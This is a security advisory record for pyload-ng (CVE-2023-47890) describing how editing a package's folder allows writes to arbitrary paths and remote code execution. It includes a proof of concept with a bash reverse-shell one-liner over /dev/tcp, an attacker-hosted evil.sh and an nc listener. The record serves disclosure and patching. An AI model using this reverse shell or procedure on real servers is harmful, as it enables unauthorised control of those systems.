id: PYSEC-2026-1819 published: "2026-07-07T11:45:27.551381Z" modified: "2026-07-07T17:25:10.992018Z" aliases: - CVE-2023-47890 - GHSA-h73m-pcfw-25h2 summary: Download to arbitrary folder can lead to RCE details: "### Summary\n\nA web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.\n\n### Details\n\nWhen a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.\n\nsrc/pyload/core/api/__init__.py::add_package::L432\n\n```python\n folder = (\n folder.replace(\"http://\", \"\")\n .replace(\"https://\", \"\")\n .replace(\":\", \"\")\n .replace(\"/\", \"_\")\n .replace(\"\\\\\", \"_\")\n )\n```\n\nSo if a package were created with the name ```\"../\"``` the application would instead create the folder ```\"/downloads/.._/\"```\n\nHowever, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.\n\nsrc/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195\n\n```python\n id = int(flask.request.form[\"pack_id\"])\n data = {\n \"name\": flask.request.form[\"pack_name\"],\n \"_folder\": flask.request.form[\"pack_folder\"],\n \"password\": flask.request.form[\"pack_pws\"],\n }\n\n api.set_package_data(id, data)\n```\n\n### Steps to reproduce\n\n1. Login to a pyLoad instance\n2. Go to \"Queue\" and create a new package with any name and a valid link\n3. Click \"Edit Package\" on the newly created package and set the folder as \"/config/scripts/download_finished/\"\n4. Restart the package \n5. Check the server filesystem and note the link was downloaded and stored inside \"/config/scripts/download_finished/\"\n\n### Remote code execution proof-of-concept\n\nIt is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.\n\n#### On attacker machine\n\n1. Start a web server hosting a malicious script\n\n```bash\necho -e '#!/bin/bash\\nbash -i >& /dev/tcp//9999 0>&1' > evil.sh&1\nsudo python3 -m http.server 80\n```\n\n\n2. Start netcat listener for reverse shells\n\n ```bash\n nc -vklp 9999\n ```\n\n#### On pyLoad\n\n1. Change pyLoad file permission settings\n\n Change permissions of downloads: On\n Permission mode for downloaded files: 0744\n\n2. Create a package with link pointing to the attacker\n\n http:///evil.sh\n\n3. Edit package and change folder to /config/scripts/package_deleted/\n\n4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad\n\n5. Delete any package package to trigger the script\n\n### Impact\n\nAn authenticated user can gain control over the underlying pyLoad server." affected: - package: name: pyload-ng ecosystem: PyPI purl: pkg:pypi/pyload-ng ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 0.5.0b3.dev75 versions: - 0.5.0a5.dev528 - 0.5.0a5.dev532 - 0.5.0a5.dev535 - 0.5.0a5.dev536 - 0.5.0a5.dev537 - 0.5.0a5.dev539 - 0.5.0a5.dev540 - 0.5.0a5.dev545 - 0.5.0a5.dev562 - 0.5.0a5.dev564 - 0.5.0a5.dev565 - 0.5.0a6.dev570 - 0.5.0a6.dev578 - 0.5.0a6.dev587 - 0.5.0a7.dev596 - 0.5.0a8.dev602 - 0.5.0a9.dev615 - 0.5.0a9.dev629 - 0.5.0a9.dev632 - 0.5.0a9.dev641 - 0.5.0a9.dev643 - 0.5.0a9.dev655 - 0.5.0a9.dev806 - 0.5.0b1.dev1 - 0.5.0b1.dev2 - 0.5.0b1.dev3 - 0.5.0b1.dev4 - 0.5.0b1.dev5 - 0.5.0b2.dev10 - 0.5.0b2.dev11 - 0.5.0b2.dev12 - 0.5.0b2.dev9 - 0.5.0b3.dev13 - 0.5.0b3.dev14 - 0.5.0b3.dev17 - 0.5.0b3.dev18 - 0.5.0b3.dev19 - 0.5.0b3.dev20 - 0.5.0b3.dev21 - 0.5.0b3.dev22 - 0.5.0b3.dev24 - 0.5.0b3.dev26 - 0.5.0b3.dev27 - 0.5.0b3.dev28 - 0.5.0b3.dev29 - 0.5.0b3.dev30 - 0.5.0b3.dev31 - 0.5.0b3.dev32 - 0.5.0b3.dev33 - 0.5.0b3.dev34 - 0.5.0b3.dev35 - 0.5.0b3.dev38 - 0.5.0b3.dev39 - 0.5.0b3.dev40 - 0.5.0b3.dev41 - 0.5.0b3.dev42 - 0.5.0b3.dev43 - 0.5.0b3.dev44 - 0.5.0b3.dev45 - 0.5.0b3.dev46 - 0.5.0b3.dev47 - 0.5.0b3.dev48 - 0.5.0b3.dev49 - 0.5.0b3.dev50 - 0.5.0b3.dev51 - 0.5.0b3.dev52 - 0.5.0b3.dev53 - 0.5.0b3.dev54 - 0.5.0b3.dev57 - 0.5.0b3.dev60 - 0.5.0b3.dev62 - 0.5.0b3.dev64 - 0.5.0b3.dev65 - 0.5.0b3.dev66 - 0.5.0b3.dev67 - 0.5.0b3.dev68 - 0.5.0b3.dev69 - 0.5.0b3.dev70 - 0.5.0b3.dev71 - 0.5.0b3.dev72 - 0.5.0b3.dev73 - 0.5.0b3.dev74 references: - type: WEB url: https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2 - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2023-47890 - type: WEB url: https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f - type: PACKAGE url: https://github.com/pyload/pyload - type: WEB url: http://pyload.com - type: PACKAGE url: https://pypi.org/project/pyload-ng - type: ADVISORY url: https://github.com/advisories/GHSA-h73m-pcfw-25h2 severity: - type: CVSS_V3 score: CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H